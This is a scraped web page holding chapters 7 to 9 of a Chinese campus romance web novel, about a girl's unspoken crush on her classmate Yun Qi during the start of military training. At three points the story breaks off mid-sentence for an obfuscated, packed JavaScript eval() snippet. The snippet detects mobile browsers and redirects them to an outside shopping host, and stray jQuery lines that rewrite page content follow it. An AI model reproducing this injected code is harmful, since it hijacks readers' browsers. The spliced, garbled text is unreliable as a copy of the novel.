《夏日寄雨》
7. 笑话
【欲盖弥彰的字母C,还好他本人不知道。——《一朵雨的碎碎念》】
去年八月,第六号台风改变路径,途径淮川市。
淮川从未有如此大的台风天,天空昏寐降雨,新生军训一律叫停。
于是本次一中军训安排了高一高二一起。
“防晒霜清凉贴都要准备好,这个防晒呢是有讲究的,白酥雨同学你得切忌,否则啊一天之后就成小黑炭了。”电话里金榆念叨的声音不绝。
白酥雨支着胳膊,没什么头绪地盯着搁置在桌面的手机。
身侧的老式风扇幽幽吹着风,老书店的小空调兢兢业业运作着。书店的明爷爷见白酥雨来了就把这店暂托给她,像往常那般去看着对面的四季花店。
“在听吗?”
白酥雨放下笔,手掌之下的草稿本上满是字母C,密密麻麻,没有例外。
闻言她那懒懒的劲儿终于收了些,白酥雨看着屏幕上“Mizpah”的搜索结果。
米斯巴,古巴勒斯坦的地名。
是什么意思呢?还是说云祁觉得好听或好看随意选的?
金榆:“白酥雨你掉线了?”
“有一道题,怎么都算不出来,我看不懂。”白酥雨退出搜索界面。
“这还不简单,明天问你学神同桌,他是全科六边形战士,保管学会还能举一反三!”
谈起云祁,白酥雨低垂的乌睫颤动了下,她握着奶茶杯浅尝了几口,满颗青柠的果味和酸涩味涌向喉间。果茶杯身被她捏出凹痕,她吐了吐被刺激到的舌尖。
“......他看起来不是很好接触的样子。”
“那倒是,确实是个难伺候的主儿。”金榆穿梭在商场,喧闹中她凑近了手机,“喔对了,他异性缘挺好的。不过,没见和谁有超过朋友范畴的关系。”
说起云祁的异性缘,用“挺好的”概括并不恰当。贴吧里的表白贴犹如过江之卿,其中有一帖热度居高不下,是关于云祁的绯闻。
有当众暗示过喜欢的六班班花,热情洒脱的艺术生学姐,才女光环加身的小青梅祝合禾......
书店的木棱窗外,浓密的夏绿映入眼帘,梧桐枝叶繁密,对街的花店仿佛置身梦幻中。只是不经意一眼,白酥雨的眸光便再难移开。
片刻前金榆斩钉截铁的话仍在耳边,白酥雨低喃:“或许是你没看见呢。”
“啊?”
白酥雨匆匆中断通话:“我这边有事,回聊。”
对街的栀子花正盛,点缀在夏季疯长的碧绿中。有人从马路对面而来,那人颀长匀称的身上套着一件灰色T恤,怀里抱着一大束白玫瑰。
他身后的女孩子笑得眼睛弯弯,米色长裙翩飞,顺势挽住了他的手臂。
眼见着朝书店而来。
风铃清脆的叩问声中,老书店里踏入新客。
祝合禾一边打量着书店极富年代感的装修,一边和云祁说话:“哇,这里好有年代感啊,唱片和报纸都是好久前的。”
云祁弓身,修长的指抚过书脊和封皮。这里都是旧书,或者是二手的。花店老爷爷告诉云祁,对面书店也属于自己,劝他可以去逛逛说不定能淘到什么有趣的书。
书架上摆放有序布置温馨,书店外面的黑板上写着几个遒劲有力的大字——“免费看书,随手关门”。
字迹给他熟悉的感觉,一时想不起在哪见过,于是来书店看看的想法更浓烈了。
“这家店虽然不大,书的种类还挺齐全的……还有很多杂志,《爱格》《意林》都有诶。”
“嗯。”男声沉闷。
云祁看着近处横竖堆放的书本,踏入狭窄的书架,祝合禾挽在他臂弯的手因为走动恰好错开。
扫过那些熟络的书名,他抽出一本旧书。封面摩挲的声响细微,白酥雨却实实在在被吓到了。
她的脚趾蜷缩,蹲着的姿势像是一颗在潮湿阴暗面生长的蘑菇。
她的第一反应是躲起来,不想让任何人看到,尤其是云祁。
即使逃避没出息,也好过强撑的不在意。
“如果你想看的话完全可以买全新的,这里的书看着很有味道,但是放回家就显旧了。”脚步声轻踩着走近,祝合禾跟上来,“再说了,你从不用旧的。”
云祁撩起眼皮,攥着那本书。怀里白玫瑰的幽香萦绕在鼻尖,其间混合着油墨与淡淡腐朽的味道。
旧书味与花香,奇怪的搭配。
神奇的是,挺好闻的,给人安逸温馨的感觉。
“偶尔的尝试也有必要。”似乎不愿讨论这个话题,他穿过窒窄的书架。转角一张小巧的方桌上堆放着课本和作业,一杯鲜榨柠檬果茶搁在桌角。
他的视线从摊在最上面满满一页的字母C扫过,余光因看到物理练习本露出的名字而停顿。
云祁扫了眼四周,默不作声挪开了步子。
祝合禾走到他身后,踮着脚觑了眼那满页C的本子,她不感兴趣地掠过,目光放在身前那人身上。
从上回组局失约到现在,她和云祁之间的关系似乎就远了。尽管他始终都是那又酷又冷倦的姿态,以祝合禾对他的了解,云祁心里绝对压着事。
“店里没有人。”她提醒。
“可惜了。”他似有遗憾。
云祁朝着身后某一处看去,书架下放着一把老式竹椅,椅背挂着一个小凉枕。他快步走回刚才的书架放书,书籍摩挲之间,年代已久的书架发出“吱呀”一声。
白酥雨心快悬至喉咙了。
书店的风铃又响了,燥热的夏风吹来了他们的声音。
有隐含期许,小心翼翼的。
“今晚,你会来接我的吧。”
有散漫随性,无所谓的。
“如果你需要的话。”
祝合禾脸色羞赧,细若蚊蚋:“我需要。”
“行。”声音远去。
门关了,白酥雨猛地起身,双腿的窒麻感顺着小腿清晰传来。她没顾上,从书架后出来,望见两人离开的影子。
玻璃门外的世界是鲜活的。夏风长长,穿梭枝桠,吹起少年少女的衣角,仿佛置身漫画世界。
白酥雨在一门之隔,远差千里。
泄力是一瞬间的事,殷勤运作的空调风吹得小腿刺疼。她拖着腿,循着云祁的路线到了书架前,回忆着他的高度和书本的位置,试探着抽出一本。
《克林索尔的最后夏天》
书本在手掌的重量轻盈,指尖之下的封面纹路滚烫,她在心里念出书本的名字。
眸光流转,她的脚下遗留着一朵白玫瑰,枝子修剪干净,纯白的花瓣上仍有露水。
昏黄之间,是旧书店里唯一的鲜活。
-
晨读之后,班级里三五成群讨论着,话题基本围绕着几天后的军训。
男生聊着前几届的军训传闻,女生忙于分享防晒心得以及不可多得的宿舍生活。
对于未知的新鲜事物,每个人心里或多或少有期待。
当然也有人例外。
云祁和白酥雨。
前者似乎就没醒过,全程不欲置理。后者惦记着什么因此心神不宁,眼神隔一段时间会停到脚边。
那里有一朵白玫瑰,被小心放置在营养液中。
“你要的防晒霜。”金榆做了功课,替她选了两款反馈都不错的。
白酥雨记起了什么,从书包夹层里拿出一堆提前准备好的物品。
芦荟胶,清凉贴,驱蚊水,钙片,维生素……
“厉害啊,平常没见你多上心,原来早就备着了。”
白酥雨笑说:“这份给你。”
正说着,学习委员宁哲轩从办公室回来,踏进教室的同时,讨论声几近泯灭。
学委面无表情地觑了讲台下众生一眼,不知为何白酥雨在他眼中看到了一丝麻木无语。
他转身擦掉了黑板上原先的课程安排表,粉笔划在黑板上的声音诡异般空灵。
果然,随着他身躯的挪开,底下哀嚎一片。
黑板
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958749|136707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上的课表从上至下赫然写着:
物,物,物,物,物,物,物,物,生,化。
卧槽,这是人能上的课?
宁哲轩把粉笔丢回盒子里,无情通知:“超长启动版南孚哥已经在赶来的路上了,祝我们好运。”
高二(3)班,哀声不断。直到故事的主人公吴诚本人登上讲台,大手一挥,两套卷子下发,他扶了扶镜框,笑容很是神秘:
“同学们,随堂小测验。不要紧张,要认真对待。”
“吴老师的改卷速度你们知道的,B卷上交的时候,A卷肯定改完了。我们有足够的时间来讲一讲这两套典型而又有一些挑战性的卷子。”
哀嚎更惨烈了些,三班众人面如死灰。马上军训了,搞了这么一出幺蛾子真是令人心塞。
纸张搓动的声音中,她身侧维持趴着姿势不动的人抬起头,接过卷子递给她一张。
“谢谢。”
他的答题速度很快,在草稿纸上演算大题时绝大多数人才刚碰上填空题。
卷子上的内容是超纲的,云祁却毫不费力。白酥雨提前预习过,做到一半已稍显吃力。身边这人速度不停,翻卷子的声音就在白酥雨耳边,无形的压力堆在她的肩上,她不自觉叹了声,揉了一把头顶的碎发。
不知是不是她的错觉,那人的笔触稍钝,她在草稿纸上演算下一题时身旁也静悄悄的。
写完了?还是碰上难题了?
白酥雨告诉自己就偷偷瞄一眼,付诸行动不过是一秒的事,她还是将云祁微动的笔收入眼底。
速度放慢了好多。
看来是遇到难题了。这张卷子难度很大啊……
连续做了两张卷子,再听完一堂讲卷子课,中间只有20分钟休息时间,这对于蹉跎了一上午的三班人不过是杯水车薪。
最后一堂课铃声响起,全班饥肠辘辘跑去食堂。
班级里只有动作稍慢的几个同学了,白酥雨察觉到云祁的出神,从考完试到现在,他的状态肉眼可见的颓靡。
或许是两场考试耗费了他精力?白酥雨想,也许是个好时机。
她借口订正错题推脱了金榆的午餐邀请,又磨蹭着收拾桌面的文具。
坐在外侧的云祁回神:“你要走了吗?”
“嗯。”她装作恰好整理完毕的样子,不想让他看出任何等待痕迹,“对了,昨天你去的花店还记得吗,花店的爷爷说……你掉了一朵白玫瑰,让我拿来给你。”
她从课桌底下捧出一个塑料瓶,里面装着一朵纯白无暇的白玫瑰,就像是新鲜摘下的,隔了一晚仍旧娇艳欲滴。
白酥雨半夜起来,多次确认花朵的状态,幸不负所望,它开得那么好,仿佛不是书店里被遗落的一朵,脱胎换骨般美丽。
云祁眼底暗了暗,目光停留不过一瞬便移到了白酥雨脸上。
不过是一个动作,却令她生出沉重的局促来。白酥雨不禁磕绊解释:“上次你送我回家,花店爷爷他……他见到过你,知道我们是同班的……你别误会,他只是让我帮个忙……”
这话仔细听漏洞百出,可惜云祁连听完的耐心都没有了。
“不用了。”他打断。
她仍是不知所措:“什么……”
“已经没有用了,无关紧要的东西。”云祁这话奇怪,夹着忽生的怒气,“丢了就行。”
他的态度不算好,语气生硬。
很难形容这一刻的心情,白酥雨形同坠入了无底洞,下坠的感觉拉扯着她的心,心头的苦涩在心跳沉重的抨击中放大。
白酥雨:“当然,你的东西你说了算。”
她表现得几乎无懈可击,沉稳且无关己事,如果她的小指不颤抖的话。
“不过,还是谢谢你。如果没有别的事,我先走了。”云祁起身,骤然拉开了距离,他的影子笼在她身上,一瞬即离。
“好的。”她忍着难过。
别说谢谢,真的。
就好像,她所做的,是一个彻头彻尾的笑话。
8. 帅死
【年少时遇见这样清风霁月的少年,不知是幸还是不幸?——《一朵雨的碎碎念》】
军训正式开始前的两日,风清日朗的正午突逢狂风,天色霎那间暗沉下来。绿卷巷仿佛处于漩涡中心,阳台的衣架哐当倒地,房间的薄荷色窗帘被卷出窗外,在空中凌乱飘动。
白酥雨被动静惊醒,迅速踩上拖鞋跑到阳台。看到白桥江已收拾了掉落的衣服,白酥雨停在客厅。
自那次不愉快后,即使事后白桥江低头认错了并作为中枢纽带调节她与叶琴琴的关系,父女俩之间还是有了隔阂。
极端语气控制下的语言没有多做思考,在特定语境下爆发的伤害力是不可估量的。白酥雨不愿回忆那件事,因为那就像是反复被告知自己的处境有多么不堪。
白桥江抱着衣服,看她困倦的脸说:“醒啦?”
她安静点头:“今天没去店里?”
“陪你叶阿姨去医院检查。”白桥江关注着她的反应,补充,“她近段时间身体不太好。”
小心翼翼的试探,拙劣的表现手法。
白酥雨了然,面上恍若未闻:“哦,她在哪儿?”
“她会在娘家住几天。”白桥江不太想说这方面的事,多聊总是不明智的。他像是想到了什么,问道:“雨雨的生日快到了,想怎么过呀,爸爸可以提前准备起来了。”
耷拉的鸦羽轻抬,白酥雨的眼睛亮了些:“妈妈说和我一起过。”
“行,哪里需要爸爸帮忙的话就和我说。”白桥江的唇角扬起尴尬的笑,试图找些什么掩饰过去。
他指了指客厅墙角的某株植物,“雨雨,那朵花你还要吗?开得正好呢。如果你不要的话,等会儿我和厨余垃圾一起丢了。”
他说的是那朵白玫瑰。
其实她在学校里就该找个机会丢掉的,而不是带回家随手放在某个角落。
瞥见它在透明瓶中的娇妍,似是更胜昨日,白酥雨错愕注视着,沉沉叹了声。
一朵无关紧要的白玫瑰,本就是被丢了的命运。只是白酥雨于心不忍,把仅此一朵白玫瑰倒挂着绑在衣架上,悬在床头。
那就变成干花吧。
……
两天假期一晃而过,返校日喧嚣阵阵,校门口车水马龙,新生老生相继涌进校门。即使学校为了分流将返校时间段错开了,人流仍是不受控制。
乱,都乱成一锅粥了。
人群中倏地传出一阵惊叹,几个女生捂着嘴,明明前一刻还不认识,却因为共同的惊叹互换眼神。
姐妹……你也看到了?
呜呜是的!
心电共通后,互相友好拍拍肩。也有不明发生什么事的,提问:“你们怎么了?”
“传闻没错啊,一中遍地是帅哥!”
“这才几分钟,我已经眼前五亮了!刚才过去那个仅一个侧脸就快把我亮瞎了!”
“哦~我多彩的高中生活就这么开始了吗?我到底是来受学习的苦,还是来受眼睛的福啊哈哈哈哈”
女生翻着相册,看到某张照片兴奋不已:“我拍到了!”
“这是真的帅啊……”
女生爸爸拎着被子在前边走着,闻言止步往手机屏瞥了眼:“小伙长得是真俊。”
一分钟后,淮川一中贴吧上传了一则捞人帖。兴许是返校日人心躁动,帖子立刻被顶到了最热。
照片是随手抓拍的,少年白衣清冷,鼻梁高挺,在和煦的阳光下眉目竟有温润之意。
碎发随风荡,侧脸绝杀!
【各位好心人们,海底捞人。本人于校门一见,此男谪仙风采,令人心怦怦然,可否告知帅哥的信息?】
评论一条接一条而来。
【同求。】
【是学长吗还是新生?】
【云祁,高二三班的,一中校草,物理大神,校男排队核心成员,全科六边形战士。基本你能想到的,云祁都不会逊色,可不可怕?】
【感谢楼上,尸.斑淡了。】
【家人们,尸.体活过来了。】
【华佗再世呐,神医!】
……
话题中心人物对此并不知情,当然也不感兴趣。他拎着行李到宿舍后,整理了床铺倒头就睡。等耳边灌入窸窣作响的声音,云祁皱着眉想要起身,一道尖锐的哨声在耳边炸开。
“有病啊你。”少年蓦地睁眼,长腿踹在还来不及撤退的白徐行身上。
白徐行闪身逃过,显摆他的小黄鸭喇叭:“楼下小卖店的新货,是不是很喜庆很有氛围感?”
“你几岁了玩这个?回幼儿园重修吧。”
白徐行也不恼,环顾了临时宿舍,略显挑剔啧啧出声:“就算咱学校没有住宿的传统,但这宿舍使用前都不清理的么,这也忒埋汰了吧。”
“行了,赶紧收拾吧,等会儿还有训练。”补充睡眠后的云祁感觉精力回转了些,他揉了把眼睛,眼前的眩晕消停了。
白徐行:“回家两天还没休息够?”
“我有时间休息吗?”云祁打开行李箱。
“那……你在干嘛?”
闻言,云祁动作一顿,甚至懒得看白徐行那贱兮兮的样:“刷题,两天。”
“大少爷这么乖?不愧于南孚哥耳提面命哪。”
白徐行也只是稍感叹下,这其实并不奇怪,云祁从来看着懒散不拘一格,在学习方面却不会落下,他知道自己什么时候应该做什么事。开学前后琐碎事一茬接一茬,他没有多余的精力去应对物理竞赛。即使从初试到决赛间的战线很长,他不至于紧迫,但终归是应了吴诚也为了自己,那就要做好。
宿舍的窗户大敞着,楼下行李箱滚轮的声音夹杂着人声,热闹非凡。
两人穿过走廊,迎面碰上一个清俊白瘦的少年,斯文温润的人逆光走来,等凑近了才看清他左边有一截断眉。
这反差……
云祁第一次见到陈沂川时还多瞧了两眼,现在么……只剩互不相干的淡漠。
两人擦肩而过的间隙里,云祁听到一声笑,令人无端闷了火。
他紧了紧书包带子,下楼梯的速度飞快,白徐行紧跟在后吐槽:“你听到了没,陈沂川嘲笑你。你惹到他了?”
云祁挑眉,无奈:“这个暑假里统共见了两三次面,每次都没和他说过话。我怎么知道?”
“哦我知道了,他大姨夫来了。”白徐行贱兮兮建议,“晚上训练赛你让让他呗,人家本来就看你不爽了。”
这回的冷笑是云祁的,拖着懒散腔。
“哦,我干.死他。”
-
金榆收拾宿舍有一套自己的标准,每件物什都有规定的位置。储物柜里还剩一小格,白酥雨自荐去小卖部屯粮。
这会儿小卖部人正多,生活用品区和零食区热火朝天。店里空调和电风扇齐刷刷上阵,白酥雨还是闷出了一身薄汗。
踏出小卖部的瞬间,淮川燥热的空气于她而言都算清新了。袋子太重了,她拎着的话手受力太大,于是改成抱着了。只是这般,捧着巨大的零食袋也太容易引来关注了……
两人份的零食,被她一不小心就买成了五人份的了。看来宿舍仅剩的一小格柜子是装不进去了,那……要不堆床下?
前面新生模样的女孩们打断了她的思绪。
“真帅,我瞥到了一个背影,他一下子就过去了。怎么有人连影子都这么好看!”
说起八卦来,大家都来劲了。
“谁啊谁啊?”
“你们都不关注消息的吗?我早打听清楚了。”女生拧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958750|136707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上瓶盖,卖关子似地顿了顿,“高二三班云祁,身高188.5,高冷型物理大神,校男排主力,稳坐年级第一宝座。而且,小道消息说他会国标舞诶,这反差啧啧啧……”
“那等会儿去高二三班门口偶遇一下?”
“而且当初一中校草不是本校人选的,投票是淮川这么多所学校一起的,云祁可是公认的颜值最顶。”
“这么帅?”
白酥雨在她们后面慢吞吞走着,很多消息她也是第一次听说。正听着,身后迫切的呼声惊到了热烈讨论到女生们。
“白酥雨——”
“云祁请你喝奶茶!”
话题中心人物的名字疏忽出现,前排女生们齐刷刷回头,随之惊呼。
少年一身白衣站在梧桐树下,光影交界处,他单肩挎着书包,直逼一米九的身高在人来人往中如此耀眼。
发丝被风吹乱,云祁戴着白色耳机静立,细碎的光晕从头顶洒下,他眯起眼慢悠悠抬起脸旁,轮廓分明的下巴微微扬起。
够帅够冷傲。
年少时遇到这样的人,若是冥顽不灵怕是要栽一辈子。
白酥雨捧着零食垂眸,躲开他的视线。
奈何白徐行是个没眼力见的,对着她的方向又喊了声:“小雨妹妹!云祁他说请你……诶?”
受不了大庭广众之下被大声叫名字,白酥雨顶着学妹们讶异的目光,三步并两步跑向他们。脸上的温度持续升高,她的额角渗出细汗。
身后的讨论仍喋喋不休。
“极品,极品啊。”
“确实……百闻不如一见!”
“他和刚才的女孩子什么关系?”
白酥雨跑到树下,气稍喘,大方展出不可忽视体积的零食袋。
“要吃吗?亲测好吃。”
白徐行看着这袋的量,帮忙提起来的同时吐槽道:“你们女生这么能吃?”
白酥雨被他问得躁得不行,立即解释:“是两人份的,一周的零食。”
“你管这叫两人份?”
白酥雨小声:“不小心买多了。”
他们往奶茶店走,白酥雨看向沉浸在耳机世界里的少年。
等他摘下耳机偏头问她想喝什么,白酥雨还在想他请客的原因。
或许是看她没回应,他俯身到和她同一高度,又问了一遍。
这距离,他脸颊上极其细小的绒毛都能看清楚。她呼吸一顿,局促说:“……葡萄青柠茶。”
“几分甜?”
“半糖。”
云祁了然:“两杯七分糖草莓茉莉茶,两杯半糖葡萄青柠茶。”
他竟然要七分糖的,她还以为男孩子大多不喜欢这么甜呢。
白徐行不满:“你都不问我的吗?专制,差评!还有,七分甜?我看你是要我肾脏要我命。”
云祁轻笑,倚在柜台的样子要多张扬就有多张扬,微挑的眼睛里是戏谑的笑意,问:“要你命做什么?不如……”
他五指并拢,幽幽抬起,手刃利落而下。
细微的动作,只有白徐行看到了,他顿时并拢双腿,面上似有隐痛,用不可置信的目光盯着云祁,最终化为故作娇羞的模样:
“臭流氓~你好坏~”
白酥雨一脸茫然地看着这诡异的发展,说不上话来。回神时云祁递了两杯青柠果茶到她手上:“辛苦这些天帮忙收作业了。”
原来是因为这个。
“同学之间互帮互助,应该的。”
他已经喝上草莓茉莉茶了,听这话时专注着刷手机上的消息,根本没听到却作出赞同她话的样子。
不知看到了什么,他唇角一扬,鼻梁上的小痣莫名性感。
白酥雨默默记下了。
不喜欠人情,嗜甜。
9. 流星
【某个人就像是掌握了我情绪的开关。——《一朵雨的碎碎念》】
返校第一日,军训开幕在即,晚餐过后的校园沉浸在特殊的躁动氛围中。
踩着黄昏微光,白酥雨揽着金榆的臂弯往体育馆走。
一路上人很多,大多是朝着同一方向的。校排球队的训练赛本不是多稀奇的事,如果说从前观赛的人多,那么经贴吧寻人帖的科普,今天的人数怕是翻了好几倍。
白酥雨探过发梢,指尖的潮湿很快被晚风吹干。她低头咬了一口椰蓉云朵包,空空的肚子里终于有了一丝实感。
手腕上挂着塑料袋,里面装着各类糖果零嘴和一瓶水,走动间塑料袋摩挲声窸窣。白酥雨喜欢这样沙沙作响的声音,一切似乎都在宣告着新的开始。
“你同桌真吃香呐。”金榆咬着她的同款椰蓉面包,声音含糊,猛吸一口葡萄冰柠茶后终于将喉咙里的异物感去除了,“我们来迟了,这会儿说不准已经开始了。”
白酥雨那杯果茶早已喝完,黄昏的余热未消,因为一句“你同桌”而起的涟漪在扩大。
谁的谁……听上去有所属权。
不管这层关系有多淡薄,但也存在,不是吗?
还没踏进体育馆,排山倒海的欢呼声争先恐后涌来。场馆内座无虚席,排球撞击的闷声极速又不绝,氛围随之不断高涨。
金榆拉着白酥雨的手腕到了座位席的最后,尽管没有座位了,后排还是站满了人。
白酥雨第一眼就看到了场上的黑色球服7号,原因无他,7号实在过于显眼。
近乎一米九的身高将宽大的球衣撑了起来,身型匀称肌肉有力量感。他光是站在那里,就是蓬勃青春的代名词。
哨声一响,云祁周身的散漫劲儿尽收,顿时肃穆。抬手抛球,起跳时身体在空中的弧度像一把蓄势拉满的弓,砰地一声巨响,时速过快的球在对面阵营坠地。
这球接不到,也没人敢接,接了就要受好大的罪。
全场沉寂两秒,随之掌声雷动宣告比赛结束。
“好酷啊啊啊……”
“我宣布,长护膝就是男人最好的黑.丝!”
“把我迷成智障了啊云少!”
相比观众席的欣喜激动,云祁仿若置身事外,和队友手势庆祝后下场。
一路递矿泉水的人不少,他都没接。尽头处一道窈窕的身影挡住了他的身影,白酥雨认出了那人,六班班花舒玫。
隔太远,两人说着什么话不得而知,舒玫手里的水递到了云祁身前。白酥雨远远一望,瞥见那瓶水的不同,上面有彩绘涂鸦。
金榆在边上啧啧称奇:“用心了用心了,这谁受得了?”
白酥雨捏着水的手将瓶身摁出一个凹痕,她没有看到结果,身边有人经过,她后退避让,再望向那个位置时两人已经不见了。
“下次他不给抄作业我就举报这小子泡妞,这事在南孚哥那一告就是一颗炮弹,眼珠子一样的宝贝怎么能离经叛道呢?”
胸口压着石子般,白酥雨轻轻呼出气,金榆仍在刚才的话题——
“祝合禾呢?看到的话不得气死?”
她的话白酥雨听不到了,跟着陆续散场的人群各回各教室。握在掌心的矿泉水瓶带着她的体温,和晚间的燥热难分高下。
“金榆,我先回一趟宿舍拿东西。”
“什么重要的东西比没赶上晚自修更可怕,你忘了今天谁坐班了?”
白酥雨当然知道,她转身向后挥挥手:“很快。”
逆着人群往球场走,眼见着那道身影闪进体育馆,她脚下的步伐稍显局促。
馆内灯光熄了一半,白酥雨看了眼手表时间,小跑的步子毫不收敛,悬在手腕的塑料纸袋发出清脆摩挲声。
观众席第一排的男生已经脱了长护膝,长指划着屏幕,指尖敲打不停,似乎没有注意到她闹腾出来的动静,他没有抬头。
白酥雨在最后几排装模作样转了几圈,第一排坐着的人垂着脑袋,忽而拽了把头发,接着后仰,手机被他丢在身侧的座位上。
她跑下台阶,教学楼传来的上课铃同时飘来。云祁同时抬头,他惊讶的表情不过一秒,问:“天街小雨?”
像是很难想起她的名字,云祁想了几秒,一字一顿,对这个名字还不太熟:“白…酥…雨。”
他俩就没正经当过几天同桌,不算熟却比一般人多了点特殊的关系,仅此而已。
但这是他第一次叫她的名字,白酥雨睫毛接连眨了几下。无论是天街小雨还是名字,被他提起的那瞬,心里那只名为欣喜的气球顿时充盈起来。
白酥雨应了声。
云祁下意识扫了眼周边,见她呆愣愣的样,说:“你怎么会来这里?”
“……我的mp3不见了……我还要听英语。”她指了指最后几排,“可能落在这边了,不过找不到了。”
云祁帮着找了一圈,提议:“要不去广播站播报一下……或者注意一下失物招领的信息?”
“好。”白酥雨干燥的唇微微抿起,“要喝水吗?”
怕他多想,她解释道:“谢谢你帮我。”
他又变成了满不在乎的懒散样,随口一说:“不用,应该的。”
云祁其实不擅长应对回谢的场面,手足无措地捞起手机,离教学楼的铃声响起已经过了多久?十分钟应该有了吧,他等的人怕不是半路掉进下水道了……
不知是谁把球场的中央空调都关了,打球的余热这才发出来,云祁的嘴唇干燥起来。
“水,我问你买吧。”
说完他真想抽自己几巴子,干渴的是嘴又不是脑子,怎么就说出这话呢?
“你还没喝过水?”
“嗯。”
“比赛后到现在都没有吗?”
这话问得奇怪……
云祁:“是…有什么问题吗?”
没想到眼前拘谨的同桌给出了意料之外的回答。
“无价和一千万,看你选哪个?”
她的水递到他眼前。
“这么贵?”云祁作势摇头,“付不起付不起。”
“无价也可以是没有价格。”白酥雨把水放在他座位下,“给你。”
“云祁。”
一道爽朗的笑跟着传来,白酥雨看到了不知何时出现的年轻男子,一看就是常年健身的,她猜测应该是教练……看上去和云祁相熟。
白酥雨知道自己不该多留,离开的脚步匆匆稍显慌乱。
然而她听到身后年轻男子的打趣。
“都高二了,这才刚开学,你悠着点。”话里多是调侃。
男生笑着回:“您少胡说八道,一个同学而已。”
“是是是,同学同学,相聊甚欢的同学。”陆斯河一把揽上云祁的肩,挤眉弄眼地看他。
谁也没有注意到白酥雨匆忙离开的步子慢了半拍。
云祁:“无聊。”
陆斯河是负责一中排球队的带队教练,也是一名体育老师。大学毕业后带的第一届学生就是云祁他们,年龄差不大,所以相处起来更像是朋友。
云祁拍掉他的手,从座位边上拿起那瓶水,仰头喝了一半。
陆斯河手又搭上来,眼里带着肯定:“说真的,荒了一个暑假,不退反进了。听说你还有物理竞赛要准备,市排球赛就在下个月,训练频率肯定是高的,你能平衡?”
“死不了就往死里干呗。”云祁垂眸,擦掉顺流到脖子的水渍,捏上瓶盖。
陆斯河瞟他一眼:“啧,这话说得……怨气很大嘛。”
“没有陆老师您的怨气大,盛老师又没搭理您?”
“这都能看出来?”
“陆老师你的脸上写着五个大字,很难不知道。”
陆斯河:“什么?”
“丧气恋爱脑。”他有些恶劣地吐出这几个字。
陆斯河恼羞成怒:“你清醒你斗志昂扬,你一辈子不谈恋爱。”
-
讲台上没有人,崭新的粉笔盒边放着一个玻璃杯,里面的枸杞茶正徐徐冒着热气。
白酥雨从后门一溜烟窜到了座位上,心有余悸地望了讲台一眼。
周围的同学有翻着练习册的,有在草稿纸上戳洞的,就是没有正经在学习的。
这是什么情况?
金榆贼头贼脑转过来,压着声音:“东西拿到了?”
“没有,不在寝室。”
“什么东西?”
白酥雨心虚:“mp3。”
“你傻啊拿教室来做什么?被南孚哥抓到吃不了兜着走。”
风扇在头顶哗哗转动,白酥雨凑过去胡扯:“晚上无聊,想听听音乐。”
“你这靠窗的位子,就算头发披下来也玄吧。”金榆扫了眼窗外。
白酥雨
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12958751|136707||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
本就是随口搪塞,她漫不经心地看向里侧装模作样的几个学生,问:“现在是什么流程?复习?”
说起这个,金榆火气很大,声音不由响了一些:“别说了,别的班都是看看电影或玩游戏,就南孚哥特立独行,让我们复习。补了这么久课了都不懂劳逸结合的么?”
她仍在喋喋不休:“自修开始没多久他就不见了,神色匆匆的,连心爱的养生茶都没带上……怕不是掉进坑里起不来了吧嘿嘿嘿……”
笑声顿时有些压抑不住,白酥雨的嘴角扯起,然而弧度堪堪上扬的瞬间,她察觉到一道凉飕飕的视线飘来。
鸡皮疙瘩爬了上来,金榆看她神色一变,同步往窗外看去。
吴诚不知什么时候出现在了窗口,黑沉的脸色与夜色融为一体,面色不善。
“啊———”
讲台上的枸杞水似乎也因声波而震荡,全班的目光移向窗外,在看到吴诚的影子后又迅速撤回书桌,彼此心照不宣。
云祁回来时就是这幅怪异景象。
白酥雨站得笔直,捧着语文书装模作样地翻。金榆垂头丧气,也站着。
“报告。”
他拎着书包淡定出声,没有迟到的慌乱感,仿佛这是一件极其平常的事。
一语搅得池水更乱。
吴诚本想因为训练放他一马的,但凡他悄声坐下,吴诚都能当没看见。这小子倒好,直接撞枪口上来了,他气结不已:
“你也一样,站着反思。”
云祁到座位上,把包往后一扔,他睨了眼装作认真复习的众人一眼,嘴角噙着淡笑。在白徐行幸灾乐祸的眼神下,站得挺拔笔直。
这货在比赛后跑得比谁都快。这会儿还笑得挺开心?
云祁嘴角的笑明显更具真情实感了,他看向吴诚。
“老师,他自修课看手机。”
吴诚一听,喉咙顿响,双眼瞪圆:“谁?真是要死了。”
白徐行后背一凉,心都快碎了,没想到云祁这个畜.生出卖朋友这么干脆利落。
果然,那家伙敞亮的声音报上了他的名号:“白徐行。”
“手机还在抽屉里。”继续告状。
